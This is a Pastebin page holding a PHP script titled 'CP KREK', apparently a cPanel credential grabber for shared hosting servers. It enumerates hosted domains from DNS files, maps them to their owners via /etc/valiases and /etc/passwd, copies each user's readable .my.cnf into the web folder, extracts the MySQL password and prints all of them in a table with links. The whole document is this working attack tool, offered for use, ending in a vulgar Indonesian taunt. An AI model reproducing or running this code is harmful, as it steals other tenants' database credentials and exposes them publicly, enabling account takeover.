Advertisement
LittleJok3r

CP KREK

May 13th, 2019
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.41 KB | None | 0 0
  1. <html>
  2. <form method="POST">
  3.     <input type="submit" name="krek" value="krek">
  4. </form>
  5. </html>
  6.     <?php
  7. error_reporting(0);
  8. if(isset($_POST['krek'])) {
  9. echo "<br><br><span class='bawah'";
  10. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  11.     $ar0=explode($marqueurDebutLien, $text);
  12.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  13.     return trim($ar1[0]);
  14. }
  15.  
  16.  
  17.  
  18. echo "<center>";
  19. $d0mains = @file('/etc/named.conf');
  20. $domains = scandir("/var/named");
  21.  
  22. if ($domains or $d0mains)
  23. {
  24.     $domains = scandir("/var/named");
  25.     if($domains) {
  26. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  27. $count=1;
  28. $dc = 0;
  29. $list = scandir("/var/named");
  30. foreach($list as $domain){
  31. if(strpos($domain,".db")){
  32. $domain = str_replace('.db','',$domain);
  33. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  34. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  35. $path = getcwd();
  36.  
  37. if (is_readable($dirz)) {
  38. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  39. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  40. $password=entre2v2($p,'password="','"');
  41. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  42. $dc++;
  43. }
  44.  
  45. }
  46. }
  47. echo '</table>';
  48. $total = $dc;
  49. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  50. echo '</center>';
  51. }else{
  52. $d0mains = @file('/etc/named.conf');
  53.     if($d0mains) {
  54. echo "<table align='center'><tr><th><font color='#F0F0F0'> COUNT </font></th><th><font color='#F0F0F0'> DOMAIN </font></th><th><font color='#F0F0F0'> USER </font></th><th><font color='#F0F0F0'> Password </font></th><th><font color='#F0F0F0'> .my.cnf </font></th></tr>";
  55. $count=1;
  56. $dc = 0;
  57. $mck = array();
  58. foreach($d0mains as $d0main){
  59.     if(@eregi('zone',$d0main)){
  60.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  61.         flush();
  62.         if(strlen(trim($domain[1][0])) >2){
  63.             $mck[] = $domain[1][0];
  64.         }
  65.     }
  66. }
  67. $mck = array_unique($mck);
  68. $usr = array();
  69. $dmn = array();
  70. foreach($mck as $o) {
  71.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  72.     $usr[] = $infos['name'];
  73.     $dmn[] = $o;
  74. }
  75. array_multisort($usr,$dmn);
  76. $dt = file('/etc/passwd');
  77. $passwd = array();
  78. foreach($dt as $d) {
  79.     $cp = explode(':',$d);
  80.     if(strpos($cp[5],'home')) {
  81.         $passwd[$cp[0]] = $cp[5];
  82.     }
  83. }
  84. $l=0;
  85. $j=1;
  86. foreach($usr as $cp) {
  87. $dirz = '/home/'.$cp.'/.my.cnf';
  88. $path = getcwd();
  89. if (is_readable($dirz)){
  90. copy($dirz, ''.$path.'/'.$cp.'.txt');
  91. $p=file_get_contents(''.$path.'/'.$cp.'.txt');
  92. $password=entre2v2($p,'password="','"');
  93. echo "<center><tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$cp."</td><td>".$password."</td><td><a href='".$cp.".txt' target='_blank'>Click Here</a></td></tr>";
  94. $dc++;
  95.                 flush();
  96.                 $l=$l?0:1;
  97.                 $j++;
  98.                                 }
  99.             }
  100.                         }
  101. echo '</table>';
  102. $total = $dc;
  103. echo '<br><br><br><br>div class="result"><font color="#F0F0F0">Total cPanel Found =</font> '.$total.'</h3><br />';
  104. echo '</center>';
  105.  
  106. }
  107. }else{
  108. echo '<center><i><font color="#FFF">ngekrek nya gagal kontol, kurang gantenglo bhhh</font></i></div>';
  109. }
  110. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement